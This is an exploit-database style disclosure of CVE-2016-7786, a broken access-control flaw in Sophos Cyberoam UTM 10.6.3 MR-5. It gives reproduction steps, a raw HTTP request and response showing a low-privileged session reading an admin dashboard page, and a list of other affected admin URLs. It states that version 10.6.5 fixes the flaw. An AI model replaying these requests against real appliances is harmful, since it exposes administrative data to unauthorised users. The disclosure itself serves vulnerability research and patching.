Sophos Cyberoam UTM CR25iNG 10.6.3 MR-5 Insecure Direct Object Reference

`# Exploit Title: Sophos Cyberoam UTM - Privilege Escalation  
# Date: 31/08/2016  
# Exploit Author: Chintan Gurjar (Frogy)  
# Vendor Homepage: http://www.sophos.com/  
# Software Link: https://www.cyberoam.com/downloads/datasheet/CR25iNG.html  
# Version: Cyberoam CR25iNG - 10.6.3 MR-5  
# CVE : CVE-2016-7786  
# Category : Webapps  
# CVSS Score: 9.3  
  
Description  
===========  
A vulnerability, which was classified as critical, has been found in Sophos Cyberoam UTM CR25iNG 10.6.3 MR-5. This issue affects an unknown function of the file Licenseinformation.jsp of the component Access Restriction. The manipulation with an unknown input leads to a privilege escalation vulnerability. Using CWE to declare the problem leads to CWE-264. Impacted are confidentiality, integrity, and availability.  
The weakness was released 04/07/2017. The advisory is shared for download at infosecninja.blogspot.in. The identification of this vulnerability is CVE-2016-7786 since 09/09/2016. The attack may be initiated remotely. The successful exploitation needs a single authentication. Technical details of the vulnerability are known.  
Upgrading to version 10.6.5 eliminates this vulnerability.  
  
Steps to reproduce  
===================  
1. Login with admin user account.  
2. Navigate to the dashboard and observe all GET URLs through burp proxy. Save URLs.  
3. Logout and login with a low privileged user account who does not have even read/write/execution permission.  
4. Access saved admin functionality URLs with a low privileged user account.  
5. Access the admin information from the user account.  
  
Video Demonstration  
====================  
https://www.youtube.com/watch?v=unV3-DdIxXw&t=2s  
  
  
PoC  
===============  
Request:  
  
GET /corporate/webpages/dashboard/LicenseInformation.jsp HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/plain, */*; q=0.01  
Accept-Language: en-US,en;1=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Referer: http://192.168.1.1/corporate/webpages/index.php  
Cookie: JSESSIONID=120g9lzj467ivba7uvbf9ej73  
Connection: close  
  
Response:  
  
HTTP/1.1 200 OK  
Date: Wed, 31 Aug 2016 06:59:56 GMT  
X-Frame-Options: SAMEORIGIN  
Content-Type: text/html;charset=UTF-8  
Cache-Control: max-age=2592000  
Expires: Fri, 30 Sep 2016 06:59:56 GMT  
Vary: Accept-Encoding  
Content-Length: 1828  
Connection: Close  
  
...  
  
<table width="100%" cellpading="1" cellspacing="1">  
<tr>  
<td class="tableheader_gadget" align="center"><label  
id='Language.Time'></label></td>  
<td class="tableheader_gadget" align="center"><label  
id='Language.User'></label></td>  
...  
  
Affected URLs  
===============  
http://192.168.1.1/corporate/webpages/dashboard/ApplianceInformation.jsp  
http://192.168.1.1/corporate/webpages/dashboard/IPSRecentAlerts.jsp  
http://192.168.1.1/corporate/webpages/dashboard/HTTPVirusDetected.jsp  
...Many others...  
  
  
References  
===============  
https://infosecninja.blogspot.co.nz/2017/04/cve-2016-7786-sophos-cyberoam-utm.html  
https://vuldb.com/?id.99371  
https://www.cvedetails.com/cve/CVE-2016-7786/  
https://nvd.nist.gov/vuln/detail/CVE-2016-7786  
  
  
`